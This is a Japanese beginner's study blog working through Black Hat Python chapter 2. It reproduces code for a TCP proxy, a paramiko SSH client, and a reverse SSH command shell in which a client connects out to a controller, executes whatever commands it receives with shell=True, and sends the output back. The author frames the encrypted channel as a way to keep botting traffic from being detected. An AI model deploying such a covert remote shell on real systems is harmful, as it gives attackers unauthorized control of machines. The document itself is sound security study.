ハッカーへのマイルストーン

ハッカーになるために、日々学んだことを記し、マイルストーンとしていきたい。

サイバーセキュリティプログラミング Day3

3日坊主にはならない3日目

TCPロキシーの構築

そもそもTCPロキシーってなに、ってとこからかな。 プロキシって、WWWからのリクエストを経由して代わりに行う代理サーバーで、Webブラウザはプロキシーにリクエストを投げてデータを受け取ればよく、サーバーはプロキシーからリクエストを受けて返せばいい。 ネットワークトラフィックの軽減やセキュリティを意図して設定されたもので、アプリケーションゲートウェイともいう。 プロキシーサーバーがクライアント、インターネットサーバーとのコネクションをそれぞれ確立するいわば中間的な立ち位置。 トランスポート層からアプリケーション層の間の階層で、様々な制御を行う。

実際のスクリプト

長いのでここも関数ごとに理解。

proxy.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys
import socket
import threading

def server_loop(local_host, local_port, remote_host, remote_port, receive_first):

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        server.bind((local_host, local_port))
    except:
        print "[!!] Failed to listen on %s:%d" % (local_host, local_port)
        print "[!!] Check for other listening sockets or correct permissions."
        sys.exit(0)

    print "[*] Listening on %s:%d" % (local_host, local_port)

    server.listen(5)

    while True:
        client_socket, addr = server.accept()

        # ローカル側からの接続情報を表示
        print "[==>] Received incoming connection from %s:%d" % (addr[0],addr[1])

        # リモートホストと通信するためのスレッドを開始
        proxy_thread = threading.Thread(
                target=proxy_handler,
                args=(client_socket,remote_host,remote_port,receive_first))

        proxy_thread.start()

def main():

    # コマンドライン引数の解釈
    if len(sys.argv[1:]) != 5:
        print "Usage: ./proxy.py [localhost] [localport] [remotehost] [remoteport] [receive_first]"
        print "Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True"
        sys.exit(0)

    # ローカル側での通信待受を行うための設定
    local_host  = sys.argv[1]
    local_port  = int(sys.argv[2])

    # リモート側の設定
    remote_host = sys.argv[3]
    remote_port = int(sys.argv[4])

    # リモート側にデータを送る前にデータ受信を行うかどうかの指定
    receive_first = sys.argv[5]

    if "True" in receive_first:
        receive_first = True
    else:
        receive_first = False

    # 通信待機ソケットの起動
    server_loop(local_host,local_port,remote_host,remote_port,receive_first)

server_loop関数は通信大気ソケットの起動の役割で、今までのままなのでよくて、コマンドライン引数を受け取って接続を処理する。sys.argvのところ で、proxy_handler関数がthread.Threadの引数に指定されているんですが、thread= のところはrun() を呼び出す部分だったので、ここがスレッドの活動を示してます。

新規の接続要求が来たら、proxy_handlerでその接続に対する処理を実施するってことね。

proxy_handler関数

これはやりとりされるデータストリームの送受信にかかわる全処理を担っている関数。

def proxy_handler(client_socket, remote_host, remote_port, receive_first):

    # リモートホストへの接続
    remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    remote_socket.connect((remote_host,remote_port))

    # 必要ならリモートホストからデータを受信
    if receive_first:

        remote_buffer = receive_from(remote_socket)
        hexdump(remote_buffer)

        # 受信データ処理関数にデータ受け渡し
        remote_buffer = response_handler(remote_buffer)

        # もしローカル側に対して送るデータがあれば送信
        if len(remote_buffer):
            print "[<==] Sending %d bytes to localhost." % len(remote_buffer)
            client_socket.send(remote_buffer)
    # ローカルからのデータ受信、リモートへの送信、ローカルへの送信
    # の繰り返しを行うループ処理の開始
    while True:

        # ローカルホストからデータ受信
        local_buffer = receive_from(client_socket)

        if len(local_buffer):

            print "[==>] Received %d bytes from localhost." % len(local_buffer)
            hexdump(local_buffer)

            # 送信データ処理関数にデータ受け渡し
            local_buffer = request_handler(local_buffer)

            # リモートホストへのデータ送信
            remote_socket.send(local_buffer)
            print "[==>] Sent to remote."

        # 応答の受信
        remote_buffer = receive_from(remote_socket)

        if len(remote_buffer):

            print "[<==] Received %d bytes from remote." % len(remote_buffer)
            hexdump(remote_buffer)

            # 受信データ処理関数にデータ受け渡し
            remote_buffer = response_handler(remote_buffer)

            # ローカル側に応答データを送信
            client_socket.send(remote_buffer)

            print "[<==] Sent to localhost."

        # ローカル側・リモート側双方からデータがこなければ接続を閉じる
        if not len(local_buffer) or not len(remote_buffer):
            client_socket.close()
            remote_socket.close()
            print "[*] No more data. Closing connections."

            break

if receive_first: のところは、リモート側から先にデータを受け取る必要があるかの確認。というのも、FTPサーバーだったりすると、サーバー側からのクラインアント側に対するデータ送信によって通信が始まるサーバデーモンが存在するらしいので必要だということである。

そのあと、後述のreceive_from関数を呼び出して、hex_dumpで16進数ダンプを整形し、データの表示を行う。

で、受信データ処理関数であるresponse_handler関数にデータを受け渡す パケットの書き換えだったり、ファジングテストの実施、認証における問題のテストなど、リモートへの送信パケットに対する書き換えなども行えるらしい。 ファジングってのはソフトウェアの不具合を発見するためのテスト手法。ペネトレーションテストとはちょっと違うらしい。 リモートの送信パケットに対する書き換えはrequest_handler関数がやってくれる。

最後にリモート側から受け取ったデータをローカルのクライアントに送信する。で、リモート側、ローカル側双方からデータを受け取らなくなるまで継続する。

さすがすべての中継だけあって、やること多いなー。

hex_dump関数

パケットデータを16進数表記およびASCIIの表示可能文字で画面に出力する関数。

# 16進数ダンプを整形して表示する関数
# 以下のURLのコメント欄から取得したコード
# (折り返しバイト数の指定に関わるデフォルト引数の値のみ修正)
# http://code.activestate.com/recipes/142812-hex-dumper/
def hexdump(src, length=16):
    result = []
    digits = 4 if isinstance(src, unicode) else 2

    for i in xrange(0, len(src), length):
       s = src[i:i+length]
       hexa = b' '.join(["%0*X" % (digits, ord(x))  for x in s])
       text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.'  for x in s])
       result.append( b"%04X   %-*s   %s" % (i, length*(digits + 1), hexa, text) )

    print b'\n'.join(result)

receive_from関数

リモート側からのデータ受信、ローカル側からのデータ受信の両方に用いる。

def receive_from(connection):

    buffer = ""

    # タイムアウト値を2秒に設定(ターゲットに応じた調整が必要)
    connection.settimeout(2)

    try:
        # データを受け取らなくなるかタイムアウトになるまでデータを受信して
        # bufferに格納
        while True:
            data = connection.recv(4096)

            if not data:
                break

            buffer += data

    except:
        pass

    return buffer

# リモート側のホストに送る全リクエストデータの改変
def request_handler(buffer):
    # パケットの改変を実施
    return buffer


# ローカル側のホストに送る全レスポンスデータの改変
def response_handler(buffer):
    # パケットの改変を実施
    return buffer

main()

receive_from関数のタイムアウト値は外国への通信や通信損失の多いネットワークとの通信だと厳しいらしいので、変えたほうがいいって。 残りはデータを受け取らなくなるまでデータを受信する部分。

request_handler関数とresponse_handler関数は目的に応じて送信データ・受信データの各々に対して操作を行うためのものらしいが、いまいちよくわからかった。(わかったら書き換えます)パケットの改変っていうけどそのまま返してるだけなのでは、、、と思うのは僕だけですか。。。勉強不足です。

ssh通信プログラムの作成

ボッティング、通信を行うのはできたけども、その通信が検知されてしまったら元も子もないよね。ってことで通信を暗号化しまーす。 ここではセキュアシェル(SSH)を用いて通信をトンネリングする。

pythonではrawソケットを用いてsshサーバー/クライアントが作れるらしい!

でも、本書ではParamikoっていうライブラリを使うんだってー。 これでSSH2プロトコルを簡単に使うことができる!

ちなみにドキュメントはこちら http://docs.paramiko.org/en/2.4/index.html

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import threading
import paramiko
import subprocess

def ssh_command(ip, user, passwd, command):
    client = paramiko.SSHClient()
    #client.load_host_keys('/home/justin/.ssh/known_hosts')
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip, username=user, password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        ssh_session.exec_command(command)
        print ssh_session.recv(1024)
    return

ssh_command('192.168.223.136', 'justin', 'lovesthepython','id')

Pramikoではパスワード認証の代わりに鍵を用いた認証を行うこともできるらしい。コメントアウトした部分がそれだ。 justinってなってるのは本書の著者がjustinさんだから。 でも今回はユーザー名とパスワードを用いた認証を行う。(本当はSSH鍵を使ったほうがいい)

client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) では、接続しているSSHサーバーのSSH鍵を受け入れるというポリシーを設定している。それからサーバーに接続。 paramiko.AutoAddPolicy()は

Policy for automatically adding the hostname and new host key to the local HostKeys object, and saving it. This is used by SSHClient.

ssh_session.exec_command(command) では、接続が確立されたとき、ssh_command関数の引数として受け取ったコマンドを実行する。 ちなみに最後に書いてあるものが引数だ。

WindowsSSH接続

WindowsSSHサーバーが備えられていないことがほぼなので、独自に作ったSSHサーバーからSSHクライアントにコマンドを送るように作り替えよう!というところ

bh_sshRcmd.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import threading
import paramiko
import subprocess

def ssh_command(ip, user, passwd, command):
    client = paramiko.SSHClient()
    #client.load_host_keys('/home/justin/.ssh/known_hosts')
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip, username=user, password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        ssh_session.send(command)
        # バナー情報読み取り
        print ssh_session.recv(1024)
        while True:
            # SSHサーバからコマンド受け取り
            command = ssh_session.recv(1024)
            try:
                cmd_output = subprocess.check_output(command, shell=True)
                ssh_session.send(cmd_output)
            except Exception,e:
                ssh_session.send(str(e))
        client.close()
    return

ssh_command('192.168.223.251', 'justin', 'lovesthepython', 'ClientConnected')

最初の部分は先ほどと同様。 while True: 以下から説明する。 スクリプト中にも書いてある通り、SSHサーバーからコマンドを受け取り、コマンドを表示している。

最終行の、最初に送るコマンドの部分がClientcConnectedになっている。これは下記で説明する。

次にSSHサーバーを作る。 これは、既に作成したSSHクライアントの接続を受け付けるプログラム。

bh_sshserver.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket
import paramiko
import threading
import sys


# Paramikoのデモファイルに含まれている鍵ファイルを利用
host_key = paramiko.RSAKey(filename='test_rsa.key')

class Server (paramiko.ServerInterface):
    def _init_(self):
        self.event = threading.Event()
    def check_channel_request(self, kind, chanid):
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
    def check_auth_password(self, username, password):
        if (username == 'justin') and (password == 'lovesthepython'):
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED

server = sys.argv[1]
ssh_port = int(sys.argv[2])

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((server, ssh_port))
    sock.listen(100)
    print '[+] Listening for connection ...'
    client, addr = sock.accept()
except Exception, e:
    print '[-] Listen failed: ' + str(e)
    sys.exit(1)
print '[+] Got a connection!'

try:
    bhSession = paramiko.Transport(client)
    bhSession.add_server_key(host_key)
    server = Server()
    try:
        bhSession.start_server(server=server)
    except paramiko.SSHException, x:
        print '[-] SSH negotiation failed.'
    chan = bhSession.accept(20)
    print '[+] Authenticated!'
    print chan.recv(1024)
    chan.send('Welcome to bh_ssh')
    while True:
         try:
             command= raw_input("Enter command: ").strip('\n')
             if command != 'exit':
                 chan.send(command)
                 print chan.recv(1024) + '\n'
             else:
                 chan.send('exit')
                 print 'exiting'
                 bhSession.close()
                 raise Exception ('exit')
         except KeyboardInterrupt:
             bhSession.close()
except Exception, e:
    print '[-] Caught exception: ' + str(e)
    try:
        bhSession.close()
    except:
        pass
    sys.exit(1)

この部分は何回もみたけど、ソケットリスナーの立ち上げの部分っていうらしい。

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((server, ssh_port))
    sock.listen(100)
    print '[+] Listening for connection ...'
    client, addr = sock.accept()
except Exception, e:
    print '[-] Listen failed: ' + str(e)
    sys.exit(1)
print '[+] Got a connection!'

サーバークラスでソケットリスナーのSSH化をする。

コードの詳しい部分はドキュメントを読んだほうがいいね。適宜読んでますが説明がめんどいなう。

次のtryで認証方法を設定している。これは最初のデモファイルに含まれている鍵ファイルを使っているので鍵認証かな。

で、そのあとクライアントが認証を通ったら、接続したことを通知するClientConnectedという文字列がサーバー側に送られてくる。bhSession.accept(20)で確認ね。 そしたらWelcome to bh_sshという文字列をクライアント側に送り返しまっす。

最後はbh_sshserver側で入力したコマンドがbh_sshRcmd側に送信され、実行される。実行結果はサーバーのほうに送り返される。

やったー。ここまで終わり。(たぶん全部理解できてないのでまた見直す) でも先に進まないと終わらないし勉強続かないので。。。

SSHトンネリング

2章の最後はSSHトンネリングについて SSHトンネリングとはなんぞや、ということなのですが。 これはSSHポートフォワードともいいまして、特定のポート番号に届けられたメッセージを、特定のIPアドレス、ポート番号に転送する仕組み。 sshクライアントとsshサーバー間のみSSHが暗号化したTCP通信を行い、残りは通常のTCP通信を行う。 SSHコネクションを経由、というらしいのでやはりセキュリティが確保された通信なんだろう。

ここでやることは今まで通り、SSHクライアント上で入力されたコマンドを遠隔地のSSHサーバー上で動かすことだが、コマンドをSSHトンネリングを用いて送るのだ。 大切なことは、SSHコネクションは送信データをすべてまとめて送信するってこと。

他にもリバースポートフォワーディングや、ダイナミックポートフォワーディングなどもある。

https://www.xmisao.com/2013/09/12/ssh-portforwarding.html

なんか勝手に参照してますがいいんですかねこれ。でも詳しいのでありがとうございます。

で、実際のコードなのですが、

https://github.com/paramiko/paramikoのdemoディレクトリの中のrforward.pyです。

ちょっと今日は疲れたので、これ以上はやらないけどポートフォワーディングの逆なんだなーってのがわかったのでまあよしとしよう(あまい?)。

今思ったけど、解説しますとかちょいちょいいうけどほぼ自分の言葉じゃないんよな。 ので解説はしません。すべて自分の勉強のために書いてます。

とにかく2章はいったん終わり!